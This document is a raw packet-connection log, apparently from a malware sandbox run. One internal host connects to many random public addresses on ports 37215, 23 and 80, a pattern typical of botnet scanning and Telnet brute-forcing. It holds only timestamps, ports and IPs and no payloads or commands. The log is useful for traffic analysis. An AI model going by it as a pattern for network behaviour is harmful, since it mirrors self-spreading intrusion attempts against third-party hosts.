Dec 3, 2024 21:02:02.171077967 CET	18849	37215	192.168.2.23	41.167.84.251
Dec 3, 2024 21:02:02.171084881 CET	18849	37215	192.168.2.23	156.116.219.164
Dec 3, 2024 21:02:02.171096087 CET	18849	37215	192.168.2.23	197.45.120.200
Dec 3, 2024 21:02:02.171099901 CET	18849	37215	192.168.2.23	197.104.130.105
Dec 3, 2024 21:02:02.171101093 CET	18849	37215	192.168.2.23	156.188.152.160
Dec 3, 2024 21:02:02.171107054 CET	18849	37215	192.168.2.23	197.218.174.217
Dec 3, 2024 21:02:02.171113014 CET	18849	37215	192.168.2.23	197.87.119.25
Dec 3, 2024 21:02:02.171113014 CET	18849	37215	192.168.2.23	197.229.192.176
Dec 3, 2024 21:02:02.171129942 CET	18849	37215	192.168.2.23	197.208.79.12
Dec 3, 2024 21:02:02.171133041 CET	18849	37215	192.168.2.23	41.83.197.48
Dec 3, 2024 21:02:02.171134949 CET	18849	37215	192.168.2.23	41.68.67.226
Dec 3, 2024 21:02:02.171147108 CET	18849	37215	192.168.2.23	156.127.59.134
Dec 3, 2024 21:02:02.171147108 CET	18849	37215	192.168.2.23	41.193.178.8
Dec 3, 2024 21:02:02.171155930 CET	18849	37215	192.168.2.23	197.187.57.11
Dec 3, 2024 21:02:02.171164036 CET	18849	37215	192.168.2.23	197.34.41.77
Dec 3, 2024 21:02:02.171166897 CET	18849	37215	192.168.2.23	197.227.5.70
Dec 3, 2024 21:02:02.171169043 CET	18849	37215	192.168.2.23	197.135.230.1
Dec 3, 2024 21:02:02.171175957 CET	18849	37215	192.168.2.23	41.220.15.72
Dec 3, 2024 21:02:02.171180964 CET	18849	37215	192.168.2.23	41.230.95.64
Dec 3, 2024 21:02:02.171622038 CET	49636	37215	192.168.2.23	197.187.62.73
Dec 3, 2024 21:02:02.172215939 CET	37798	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:02.172791958 CET	54526	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:02.173355103 CET	55034	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:02.173924923 CET	59314	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:02.174495935 CET	43650	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:02.175102949 CET	42478	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:02.175698042 CET	38452	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.176784039 CET	23	35170	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:02.177197933 CET	23	35210	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:02.177244902 CET	35210	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:02.180141926 CET	23	45242	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:02.180246115 CET	45242	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:02.180574894 CET	45298	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:02.197532892 CET	41294	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.197545052 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.197550058 CET	56872	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:02.197550058 CET	45684	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:02:02.197550058 CET	42492	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:02:02.205393076 CET	23	60640	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.205828905 CET	23	60680	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.205869913 CET	60680	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.207556963 CET	23	50196	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.207619905 CET	50196	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.208004951 CET	50252	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.217432976 CET	23	49994	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.217503071 CET	49994	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.217839003 CET	50050	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.231529951 CET	23	37066	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.231719017 CET	23	37106	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.231769085 CET	37106	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.232180119 CET	23	46898	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.232513905 CET	23	46938	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.232558012 CET	46938	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.233974934 CET	23	53934	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.234056950 CET	53934	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.234416008 CET	53990	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.239536047 CET	23	38786	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.239979982 CET	23	38826	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.240022898 CET	38826	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.250121117 CET	23	36898	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.250204086 CET	36898	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.250608921 CET	36950	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.250782967 CET	23	59994	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.250993967 CET	59994	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.251267910 CET	60046	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.268879890 CET	23	34400	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.269145966 CET	23	46270	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.269157887 CET	23	34440	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.269191980 CET	34440	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.269220114 CET	46270	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.269637108 CET	46318	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.276073933 CET	23	47540	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.276154995 CET	47540	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.276509047 CET	47588	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.276524067 CET	23	44036	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.276875019 CET	44036	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.277143955 CET	44084	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.278891087 CET	23	39168	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.279280901 CET	23	39208	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.279328108 CET	39208	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.289663076 CET	37215	18849	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.289700031 CET	37215	18849	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.289714098 CET	18849	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.289726019 CET	37215	18849	41.169.6.242	192.168.2.23
Dec 3, 2024 21:02:02.289752960 CET	18849	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.289757967 CET	37215	18849	156.169.162.255	192.168.2.23
Dec 3, 2024 21:02:02.289763927 CET	18849	37215	192.168.2.23	41.169.6.242
Dec 3, 2024 21:02:02.289796114 CET	18849	37215	192.168.2.23	156.169.162.255
Dec 3, 2024 21:02:02.289797068 CET	37215	18849	41.122.176.16	192.168.2.23
Dec 3, 2024 21:02:02.289829969 CET	37215	18849	197.3.211.255	192.168.2.23
Dec 3, 2024 21:02:02.289836884 CET	18849	37215	192.168.2.23	41.122.176.16
Dec 3, 2024 21:02:02.289871931 CET	18849	37215	192.168.2.23	197.3.211.255
Dec 3, 2024 21:02:02.295639992 CET	37215	38452	41.27.156.130	192.168.2.23
Dec 3, 2024 21:02:02.295691013 CET	38452	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.296225071 CET	49834	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.296849966 CET	40560	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.297411919 CET	23	35210	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:02.297450066 CET	51598	37215	192.168.2.23	41.169.6.242
Dec 3, 2024 21:02:02.297477961 CET	35210	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:02.298242092 CET	35264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:02.298326969 CET	58546	37215	192.168.2.23	156.169.162.255
Dec 3, 2024 21:02:02.299164057 CET	51588	37215	192.168.2.23	41.122.176.16
Dec 3, 2024 21:02:02.299854040 CET	42240	37215	192.168.2.23	197.3.211.255
Dec 3, 2024 21:02:02.300318956 CET	38452	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.300339937 CET	38452	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.300405979 CET	23	45242	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:02.300649881 CET	38486	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.317536116 CET	23	41294	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.317557096 CET	37215	44582	156.224.8.58	192.168.2.23
Dec 3, 2024 21:02:02.317619085 CET	41294	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.317646027 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.317656994 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.317663908 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.318042994 CET	45154	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.326080084 CET	23	60680	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.326144934 CET	60680	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.326493979 CET	60744	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.327589989 CET	23	50196	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.327898979 CET	23	50252	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.327946901 CET	50252	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.337491035 CET	23	49994	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.337810040 CET	23	50050	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.337857962 CET	50050	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.352233887 CET	23	37106	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.352302074 CET	37106	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.352675915 CET	23	46938	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.352813959 CET	37170	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.353178978 CET	46938	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.353416920 CET	47002	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.354067087 CET	23	53934	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.354495049 CET	23	53990	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.354546070 CET	53990	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.360299110 CET	23	38826	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.360361099 CET	38826	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.360707998 CET	38890	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.370217085 CET	23	36898	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.370488882 CET	23	36950	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.370532990 CET	36950	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.370862961 CET	23	59994	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.371166945 CET	23	60046	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.371212959 CET	60046	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.389220953 CET	23	46270	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.389456987 CET	23	34440	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.389518976 CET	34440	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.389576912 CET	23	46318	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.389620066 CET	46318	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.389883041 CET	34504	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.396226883 CET	23	47540	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.396542072 CET	23	47588	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.396584034 CET	47588	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.396749973 CET	23	44036	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.397125006 CET	23	44084	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.397170067 CET	44084	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.399751902 CET	23	39208	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.399822950 CET	39208	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.400187016 CET	39272	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.415904045 CET	37215	38452	41.27.156.130	192.168.2.23
Dec 3, 2024 21:02:02.416076899 CET	38452	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:02.416109085 CET	37215	49834	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.416153908 CET	49834	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.416228056 CET	49834	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.416228056 CET	49834	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.416603088 CET	49864	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.416682959 CET	37215	40560	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.416718006 CET	40560	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.416973114 CET	40560	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.416985989 CET	40560	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.417226076 CET	40590	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.417335033 CET	23	35210	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:02.420355082 CET	37215	38452	41.27.156.130	192.168.2.23
Dec 3, 2024 21:02:02.420392990 CET	37215	38452	41.27.156.130	192.168.2.23
Dec 3, 2024 21:02:02.437630892 CET	37215	44582	156.224.8.58	192.168.2.23
Dec 3, 2024 21:02:02.437917948 CET	23	41294	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.437931061 CET	37215	45154	156.224.8.58	192.168.2.23
Dec 3, 2024 21:02:02.437977076 CET	45154	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.438000917 CET	45154	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.438024044 CET	37215	44582	156.224.8.58	192.168.2.23
Dec 3, 2024 21:02:02.438055992 CET	41294	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.438450098 CET	41524	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.446103096 CET	23	60680	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.446419954 CET	23	60744	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.446465015 CET	60744	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.448656082 CET	23	50252	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.448767900 CET	50252	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.449186087 CET	50304	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.458261967 CET	23	50050	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.458323956 CET	50050	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.458702087 CET	50102	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.472374916 CET	23	37106	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.472707987 CET	23	37170	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.472750902 CET	37170	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.473076105 CET	23	46938	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.473278999 CET	23	47002	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.473356009 CET	47002	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.474891901 CET	23	53990	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.474972010 CET	53990	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.475363970 CET	54042	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.480640888 CET	23	38826	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.480829954 CET	23	38890	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.480875015 CET	38890	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.491111994 CET	23	36950	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.491219997 CET	36950	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.491497040 CET	23	60046	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.491604090 CET	37002	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.491946936 CET	60046	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.492203951 CET	60098	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.509463072 CET	23	34440	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.509763002 CET	23	34504	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.509812117 CET	34504	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.509895086 CET	23	46318	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.510013103 CET	46318	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.510447025 CET	46370	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.516999006 CET	23	47588	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.517071009 CET	47588	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.517242908 CET	23	44084	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.517415047 CET	47640	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.517497063 CET	44084	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.517497063 CET	59936	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:02.517784119 CET	44084	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.518043041 CET	44136	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.519750118 CET	23	39208	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.520061970 CET	23	39272	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.520112991 CET	39272	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.536163092 CET	37215	38452	41.27.156.130	192.168.2.23
Dec 3, 2024 21:02:02.536197901 CET	37215	49834	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.536595106 CET	37215	49864	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.536645889 CET	49864	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.536659002 CET	49864	37215	192.168.2.23	41.4.78.113
Dec 3, 2024 21:02:02.536674976 CET	37215	49834	41.4.78.113	192.168.2.23
Dec 3, 2024 21:02:02.536827087 CET	37215	40560	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.536941051 CET	37215	40560	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.537066936 CET	37215	40560	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.537121058 CET	37215	40590	156.195.107.152	192.168.2.23
Dec 3, 2024 21:02:02.537172079 CET	40590	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.537172079 CET	40590	37215	192.168.2.23	156.195.107.152
Dec 3, 2024 21:02:02.558034897 CET	23	41294	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.558358908 CET	37215	45154	156.224.8.58	192.168.2.23
Dec 3, 2024 21:02:02.558371067 CET	23	41524	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.558399916 CET	45154	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:02:02.558413029 CET	41524	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:02.566694021 CET	23	60744	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.566772938 CET	60744	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.567254066 CET	60778	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.568681955 CET	23	50252	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.569041014 CET	23	50304	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.569082975 CET	50304	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.578365088 CET	23	50050	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.578608990 CET	23	50102	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.578656912 CET	50102	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.581482887 CET	51066	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:02.593055964 CET	23	37170	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.593117952 CET	37170	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.593317986 CET	23	47002	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.593480110 CET	47002	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.593610048 CET	37204	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.593991041 CET	47002	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.594273090 CET	47036	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.594872952 CET	23	53990	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.595241070 CET	23	54042	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.595278978 CET	54042	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.601140022 CET	23	38890	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.601193905 CET	38890	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.601530075 CET	38924	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.611232042 CET	23	36950	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.611485004 CET	23	37002	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.611541033 CET	37002	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.611890078 CET	23	60046	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.612068892 CET	23	60098	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.612116098 CET	60098	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.629952908 CET	23	46318	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.630263090 CET	23	34504	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.630340099 CET	34504	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.630386114 CET	23	46370	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.630431890 CET	46370	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.630788088 CET	34538	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.637008905 CET	23	47588	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.637511015 CET	23	47640	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.637522936 CET	23	59936	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:02.637556076 CET	47640	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.637563944 CET	59936	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:02.637778997 CET	23	44084	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.638078928 CET	23	44136	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.638217926 CET	44136	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:02.640769958 CET	23	39272	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.640841961 CET	39272	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.641180038 CET	39306	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.651752949 CET	20129	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.651760101 CET	20129	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.651762962 CET	20129	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.651762962 CET	20129	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.651762962 CET	20129	80	192.168.2.23	182.202.139.121
Dec 3, 2024 21:02:02.651762962 CET	20129	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:02.651765108 CET	20129	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:02.651791096 CET	20129	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:02.651793957 CET	20129	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:02.651793957 CET	20129	80	192.168.2.23	174.32.195.213
Dec 3, 2024 21:02:02.651793957 CET	20129	80	192.168.2.23	139.136.206.31
Dec 3, 2024 21:02:02.651793957 CET	20129	80	192.168.2.23	25.28.211.222
Dec 3, 2024 21:02:02.651798010 CET	20129	80	192.168.2.23	146.203.42.111
Dec 3, 2024 21:02:02.651799917 CET	20129	80	192.168.2.23	41.4.66.231
Dec 3, 2024 21:02:02.651809931 CET	20129	80	192.168.2.23	153.239.107.205
Dec 3, 2024 21:02:02.651817083 CET	20129	80	192.168.2.23	170.57.74.155
Dec 3, 2024 21:02:02.651817083 CET	20129	80	192.168.2.23	2.222.217.189
Dec 3, 2024 21:02:02.651818991 CET	20129	80	192.168.2.23	222.132.213.24
Dec 3, 2024 21:02:02.651819944 CET	20129	80	192.168.2.23	138.16.64.88
Dec 3, 2024 21:02:02.651823997 CET	20129	80	192.168.2.23	153.212.232.6
Dec 3, 2024 21:02:02.651840925 CET	20129	80	192.168.2.23	132.26.11.186
Dec 3, 2024 21:02:02.651840925 CET	20129	80	192.168.2.23	27.162.75.50
Dec 3, 2024 21:02:02.651850939 CET	20129	80	192.168.2.23	167.54.174.219
Dec 3, 2024 21:02:02.651850939 CET	20129	80	192.168.2.23	93.26.243.185
Dec 3, 2024 21:02:02.651854992 CET	20129	80	192.168.2.23	133.113.217.119
Dec 3, 2024 21:02:02.651865005 CET	20129	80	192.168.2.23	202.11.226.156
Dec 3, 2024 21:02:02.651865959 CET	20129	80	192.168.2.23	76.59.111.240
Dec 3, 2024 21:02:02.651868105 CET	20129	80	192.168.2.23	75.84.187.136
Dec 3, 2024 21:02:02.651882887 CET	20129	80	192.168.2.23	130.164.82.116
Dec 3, 2024 21:02:02.651882887 CET	20129	80	192.168.2.23	207.251.246.26
Dec 3, 2024 21:02:02.651890039 CET	20129	80	192.168.2.23	69.115.224.251
Dec 3, 2024 21:02:02.651890039 CET	20129	80	192.168.2.23	84.236.25.243
Dec 3, 2024 21:02:02.651894093 CET	20129	80	192.168.2.23	93.38.113.48
Dec 3, 2024 21:02:02.651906013 CET	20129	80	192.168.2.23	179.70.186.111
Dec 3, 2024 21:02:02.651906013 CET	20129	80	192.168.2.23	63.149.209.234
Dec 3, 2024 21:02:02.651909113 CET	20129	80	192.168.2.23	78.43.120.239
Dec 3, 2024 21:02:02.651921034 CET	20129	80	192.168.2.23	155.40.148.132
Dec 3, 2024 21:02:02.651923895 CET	20129	80	192.168.2.23	133.252.60.52
Dec 3, 2024 21:02:02.651930094 CET	20129	80	192.168.2.23	111.88.132.86
Dec 3, 2024 21:02:02.651930094 CET	20129	80	192.168.2.23	151.194.124.135
Dec 3, 2024 21:02:02.651940107 CET	20129	80	192.168.2.23	72.149.73.137
Dec 3, 2024 21:02:02.651940107 CET	20129	80	192.168.2.23	76.9.64.5
Dec 3, 2024 21:02:02.651946068 CET	20129	80	192.168.2.23	73.252.248.142
Dec 3, 2024 21:02:02.651957035 CET	20129	80	192.168.2.23	35.140.17.220
Dec 3, 2024 21:02:02.651957035 CET	20129	80	192.168.2.23	72.249.255.245
Dec 3, 2024 21:02:02.651962996 CET	20129	80	192.168.2.23	27.153.110.187
Dec 3, 2024 21:02:02.651966095 CET	20129	80	192.168.2.23	200.82.141.173
Dec 3, 2024 21:02:02.651971102 CET	20129	80	192.168.2.23	203.118.80.75
Dec 3, 2024 21:02:02.651982069 CET	20129	80	192.168.2.23	63.186.169.83
Dec 3, 2024 21:02:02.651983976 CET	20129	80	192.168.2.23	181.39.37.220
Dec 3, 2024 21:02:02.651988029 CET	20129	80	192.168.2.23	153.3.199.69
Dec 3, 2024 21:02:02.651993990 CET	20129	80	192.168.2.23	114.157.4.251
